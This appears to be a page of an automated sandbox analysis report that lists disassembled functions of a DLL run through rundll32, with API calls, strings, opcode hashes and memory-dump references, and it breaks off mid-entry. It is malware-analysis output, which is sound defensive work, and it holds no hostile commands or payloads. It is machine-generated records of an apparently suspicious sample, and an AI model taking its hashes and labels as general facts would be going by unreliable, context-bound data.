API ID: AllocExclusiveHeapLock$AcquireProcessRelease
String ID: assertion failed: key != c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx
API String ID: 3228198226-3009553730
Opcode ID: 8a711d3c24e61c13a7775bff25e09f2fdc0d2159e417efa85cbe94a931de6052
Instruction ID: 8893071b1c1083e6903d1cf8510a85d2ff760ccdf16a4b865dd21a2357044af7
Opcode Fuzzy Hash: 8a711d3c24e61c13a7775bff25e09f2fdc0d2159e417efa85cbe94a931de6052
Instruction Fuzzy Hash: C6414AB1900309CFEB10CFD5D855B9EBBB4FB48758F104129D91AAB380E7759945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC42BC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6EDC43C9,FFFDC801,00000400,?,00000000,00000001,?,6EDC4542,00000021,FlsSetValue,6EDF6BF8,6EDF6C00,?), ref: 6EDC437D

Strings

ext-ms-, xrefs: 6EDC4327
api-ms-, xrefs: 6EDC4313

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 4196f10aca42087202f9a261e90627c34c0e9de866d134e978f3da6cc34ed52c
Instruction ID: 09484872152292c2d22fa8ca14093788e2c7582c9591b6f948316a304b4f8230
Opcode Fuzzy Hash: 4196f10aca42087202f9a261e90627c34c0e9de866d134e978f3da6cc34ed52c
Instruction Fuzzy Hash: CE21D835980612EBEB11DBE5DC44A8E776CAB82BF0F110111ED66A7284D730ED03C6E1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBF3BF, Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6EDBF101,6EDBCFA2,6EDBC7AC,?,6EDBC9E4,?,00000001,?,?,00000001,?,6EDFAFA8,0000000C,6EDBCADD), ref: 6EDBF3CD
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6EDBF3DB
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6EDBF3F4
SetLastError.KERNEL32(00000000,6EDBC9E4,?,00000001,?,?,00000001,?,6EDFAFA8,0000000C,6EDBCADD,?,00000001,?), ref: 6EDBF446

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7acab187c487f62f6a0b12f6a9ea6bfeff4f0b44b2d5c069fb744f33fa482f86
Instruction ID: ac687c459f74dd66f79cc682a0e9a755ee12cdb76782d5b572a6771ef88b5aaf
Opcode Fuzzy Hash: 7acab187c487f62f6a0b12f6a9ea6bfeff4f0b44b2d5c069fb744f33fa482f86
Instruction Fuzzy Hash: 2A01F0B612DB129EBB6057F56C8465736BCDB46BF57300339F912491D4FF328803A551

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBBE60, Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6EDBC510: GetTickCount64.KERNEL32 ref: 6EDBC517

GetTickCount64.KERNEL32 ref: 6EDBBE96
GetTickCount64.KERNEL32 ref: 6EDBBEB4
GetTickCount64.KERNEL32 ref: 6EDBBECD
GetTickCount64.KERNEL32 ref: 6EDBBECF
GetTickCount64.KERNEL32 ref: 6EDBBED6
GetTickCount64.KERNEL32 ref: 6EDBBEF4

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: Count64Tick
String ID:
API String ID: 1927824332-0
Opcode ID: a90b880d68d5bdaeccafe12986ce5b9bad22083b91da17e6c22195fcaa04819a
Instruction ID: 57fd36c076c543dea9b0e0ed6acedd6ba54f8e8bf67f152bdc4219fb6d991e8d
Opcode Fuzzy Hash: a90b880d68d5bdaeccafe12986ce5b9bad22083b91da17e6c22195fcaa04819a
Instruction Fuzzy Hash: E0015653C20E189DE203FA79A88254AAAAD5F973E0B15C713D0477A055FFA098E357A1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA6B40, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6EDA6C1B
__aulldiv.LIBCMT ref: 6EDA6C2B

Strings

'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDA6B54
{invalid syntax}, xrefs: 6EDA6B84
_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool, xrefs: 6EDA6BAA, 6EDA6BE5

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool${invalid syntax}
API String ID: 3839614884-2364648981
Opcode ID: 57bb42325d10e61ffd653db1e46513852b96d6d4409153dc789509871849d9ab
Instruction ID: b68eb4eee999fb0f0e0e5d69872ff9f990bf6956cb48a2b1b852600fe8062ae0
Opcode Fuzzy Hash: 57bb42325d10e61ffd653db1e46513852b96d6d4409153dc789509871849d9ab
Instruction Fuzzy Hash: 8B419772718210DBD3149BACD848B2EB7D5DF84704F10483DEA898F3C6EA76C95183A2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAD000, Relevance: 8.8, APIs: 7, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000001,6EDAC746), ref: 6EDAD00B
TlsGetValue.KERNEL32(00000000,00000001,6EDAC746), ref: 6EDAD023
TlsGetValue.KERNEL32(00000000), ref: 6EDAD043
TlsGetValue.KERNEL32(00000000), ref: 6EDAD063
GetProcessHeap.KERNEL32 ref: 6EDAD076
HeapAlloc.KERNEL32(03340000,00000000,0000000C), ref: 6EDAD089
TlsSetValue.KERNEL32(00000000,00000000,03340000,00000000,0000000C), ref: 6EDAD0B6

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: Value$Heap$AllocProcess
String ID:
API String ID: 3559649508-0
Opcode ID: 74c9d90a8717582d13f597af575d452b1eeeffdb4f8e2eabd41bb79e068370ca
Instruction ID: 7132c5875e63aa445ccd8dc2e85a65ad28d40797f380fab9d9de17c924edc73e
Opcode Fuzzy Hash: 74c9d90a8717582d13f597af575d452b1eeeffdb4f8e2eabd41bb79e068370ca
Instruction Fuzzy Hash: 581172B0600602DBFB508BF9D858B5A32ACAB42689F010C25EF06DB284D735DA439F7D

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC3571, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EDC358D

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: d1bed40528293add916cac18d8132f0364ea15195cd684336664ed91dc01b7b1
Instruction ID: 12ced160eff17141848177aea8e2494082e4d463dd6703783f9e8ea215f7a6d3
Opcode Fuzzy Hash: d1bed40528293add916cac18d8132f0364ea15195cd684336664ed91dc01b7b1
Instruction Fuzzy Hash: 3121C031654215FFDB51AFE6CC4888A77BEEF45BE8B0149A8F81587250DB31EC408BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC0422, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6EDC04E3,00000000,?,00000001,00000000,?,6EDC055A,00000001,FlsFree,6EDF6184,FlsFree,00000000), ref: 6EDC04B2

Strings

api-ms-, xrefs: 6EDC0472

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: ad7f1c4f121229bb8c5b6363df9ec5de3dd3bd14572a48d2733b625b23bb6882
Instruction ID: b4ff0394cfc00fd9c0ad8687eea2253648dd12cbe7c33123c6b5969c9aa70c9e
Opcode Fuzzy Hash: ad7f1c4f121229bb8c5b6363df9ec5de3dd3bd14572a48d2733b625b23bb6882
Instruction Fuzzy Hash: C711AB71A49621DFDB518B988C44B4F336C9F02FF0F210120F955EB284E730ED0186D6

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC12ED, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,E1435073,00000000,?,00000000,6EDC9B33,000000FF,?,6EDC127D,?,?,6EDC1251,?), ref: 6EDC1322
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6EDC1334
FreeLibrary.KERNEL32(00000000,?,00000000,6EDC9B33,000000FF,?,6EDC127D,?,?,6EDC1251,?), ref: 6EDC1356

Strings

CorExitProcess, xrefs: 6EDC132C
mscoree.dll, xrefs: 6EDC131B

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 487ee474e6f03487c01c775bff8976e49884fdb1269c2e3679f04bb7bb3592e8
Instruction ID: a454b5540425d0f3b99ae7fc2c4c73db367d136ebe25cc15cc1d6c63ee43cede
Opcode Fuzzy Hash: 487ee474e6f03487c01c775bff8976e49884fdb1269c2e3679f04bb7bb3592e8
Instruction Fuzzy Hash: 2E01A731904966EFDF019F90CC08FAE7BBCFB04B94F004525F822A2680DB749905DA91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC2C0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EDAC2C5
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 6EDAC2D5

Strings

ntdll, xrefs: 6EDAC2C0
NtWaitForKeyedEvent, xrefs: 6EDAC2CF

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtWaitForKeyedEvent$ntdll
API String ID: 1646373207-2815205136
Opcode ID: c5a0565cc09a4a303448d8eeedb0329a66d372fcf049a30f8c94a3b018c031c1
Instruction ID: 9cec3dba0222ef0c141085cc3f3c19003e03ea7e55e413b4bb095458accc4c7a
Opcode Fuzzy Hash: c5a0565cc09a4a303448d8eeedb0329a66d372fcf049a30f8c94a3b018c031c1
Instruction Fuzzy Hash: 3BB092B0E00602EABE90ABF58A0CA563A2CA981AC13820480A617DA108EA24C006B961

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC2E0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EDAC2E5
GetProcAddress.KERNEL32(00000000,NtReleaseKeyedEvent), ref: 6EDAC2F5

Strings

ntdll, xrefs: 6EDAC2E0
NtReleaseKeyedEvent, xrefs: 6EDAC2EF

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtReleaseKeyedEvent$ntdll
API String ID: 1646373207-31681898
Opcode ID: 792b24825e4973cfd83f51b09d6b4a99839a2b38a0ce0e77be648e686f279c92
Instruction ID: 5b667f25e91fae93dda13d231d0ee42b7982b20f5f590b2789d9a8197f7055a0
Opcode Fuzzy Hash: 792b24825e4973cfd83f51b09d6b4a99839a2b38a0ce0e77be648e686f279c92
Instruction Fuzzy Hash: C0B092B0E00503E6AE60ABF18A0CA56395CA9C1AC23424480A223EA108FA24C006B961

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC280, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EDAC285
GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 6EDAC295

Strings

SetThreadDescription, xrefs: 6EDAC28F
kernel32, xrefs: 6EDAC280

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetThreadDescription$kernel32
API String ID: 1646373207-1950310818
Opcode ID: 418d7ce31f8c445854f8a7d4b45d4df54c62c6865a1285b6a036d84c6c644aaa
Instruction ID: 2233d9abe374bb5225534f13f8380db9d325c0280b42932d76d6d560b543aeb8
Opcode Fuzzy Hash: 418d7ce31f8c445854f8a7d4b45d4df54c62c6865a1285b6a036d84c6c644aaa
Instruction Fuzzy Hash: 38B092B0A40643EBBE60AFF18E0CA563A2CA9C5AC23020440A617DA10DFA24C006B971

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC260, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EDAC265
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6EDAC275

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6EDAC26F
kernel32, xrefs: 6EDAC260

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemTimePreciseAsFileTime$kernel32
API String ID: 1646373207-392834919
Opcode ID: 7cdd408ec354ba41f36fab6b949fb751da8eacc386dfdafb4dde0f88da01c1c1
Instruction ID: ced96607de2950c14e5dd4162c79c99a80a714cbe16188365280115cfab47054
Opcode Fuzzy Hash: 7cdd408ec354ba41f36fab6b949fb751da8eacc386dfdafb4dde0f88da01c1c1
Instruction Fuzzy Hash: 04B092B0E00502E7BE60AFF18E4CA56391EA9C6AC23024480A313DA108EB24C046B921

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC300, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EDAC305
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 6EDAC315

Strings

ntdll, xrefs: 6EDAC300
NtCreateKeyedEvent, xrefs: 6EDAC30F

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateKeyedEvent$ntdll
API String ID: 1646373207-1373576770
Opcode ID: 8487a530458815b36f68f8a6599442f0155085d4005ef36f846ce91502bea0a0
Instruction ID: 9e69e4babce77076b0b726be4a3c7c9cffe96fcf86d998c068741b1c7008a19b
Opcode Fuzzy Hash: 8487a530458815b36f68f8a6599442f0155085d4005ef36f846ce91502bea0a0
Instruction Fuzzy Hash: 60B092B0E00502EAAE50EBF19A0CA56391CA942AC23824480A223DA14EEA24C007B921

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC6749, Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(E1435073,?,00000000,?), ref: 6EDC67AC

Part of subcall function 6EDC4073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EDC61E2,?,00000000,-00000008), ref: 6EDC411F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6EDC6A07
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6EDC6A4F
GetLastError.KERNEL32 ref: 6EDC6AF2

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 5a70d8e5add3b269b5de09f847077f3550b317d2ffd22de3faf6a3118224c7d2
Instruction ID: 83d400c78590b19dedc6b6a1e3e172560f27ee13c7d824721c291e2ca8b4a6c6
Opcode Fuzzy Hash: 5a70d8e5add3b269b5de09f847077f3550b317d2ffd22de3faf6a3118224c7d2
Instruction Fuzzy Hash: B0D17E75D142499FDB01CFE8C880AEDBBB8FF49B54F14852AE466EB241D730A942CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB2470, Relevance: 6.2, APIs: 4, Instructions: 215COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,?,00000000,?,?,?), ref: 6EDB2601
WriteConsoleW.KERNEL32(?,?,00000001,?,00000000,?,?,?), ref: 6EDB2653
GetLastError.KERNEL32(?,?,?), ref: 6EDB265D
GetLastError.KERNEL32(?,?,?), ref: 6EDB26C5

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: ConsoleErrorLastWrite
String ID:
API String ID: 4006445483-0
Opcode ID: 7d92060852cd81d4a0bf46a4919d0d1e45caa914d476070a8289d23f4fba9e99
Instruction ID: b40ba9cd11a47c390e56ee14a9e0f70d070d9c7109f0c0f7cd2da00dfc994c3c
Opcode Fuzzy Hash: 7d92060852cd81d4a0bf46a4919d0d1e45caa914d476070a8289d23f4fba9e99
Instruction Fuzzy Hash: 4B6156F2A08316CBE7148F99CC6076B77E6EB8575CF048939E8D787384F674C8458692

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBF49F, Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6EDBF566
___AdjustPointer.LIBCMT ref: 6EDBF589
___AdjustPointer.LIBCMT ref: 6EDBF625

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: a928cccc4ee8a4980d62128aeeb61f3f11e186ca471fc8174dd0d57e429b027c
Instruction ID: fe1bfd303ad47f72e864338d86dc50264bbb0423b493c9cab612b91934fe9b83
Opcode Fuzzy Hash: a928cccc4ee8a4980d62128aeeb61f3f11e186ca471fc8174dd0d57e429b027c
Instruction Fuzzy Hash: 0D51A0FA505606EFEB158F91DC50BAA73E9FF00314F204529D9678B290FB31E841CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC2D87, Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6EDC4073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EDC61E2,?,00000000,-00000008), ref: 6EDC411F

GetLastError.KERNEL32 ref: 6EDC2DEB
__dosmaperr.LIBCMT ref: 6EDC2DF2
GetLastError.KERNEL32(?,?,?,?), ref: 6EDC2E2C
__dosmaperr.LIBCMT ref: 6EDC2E33

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e236b552a2e56b0615cdde9af14a0c07348a3c719911e1fad421ef92d848f1fd
Instruction ID: a2c061cc2c47474cc815a69159ab9c3d963290fe6c6080dfb52cdc69a7fc2f65
Opcode Fuzzy Hash: e236b552a2e56b0615cdde9af14a0c07348a3c719911e1fad421ef92d848f1fd
Instruction Fuzzy Hash: 2B21D771604A15EF9B519FE6CC8489FB7BDFF05BEC7009959E854A7110D730EC418BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC7EA6, Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

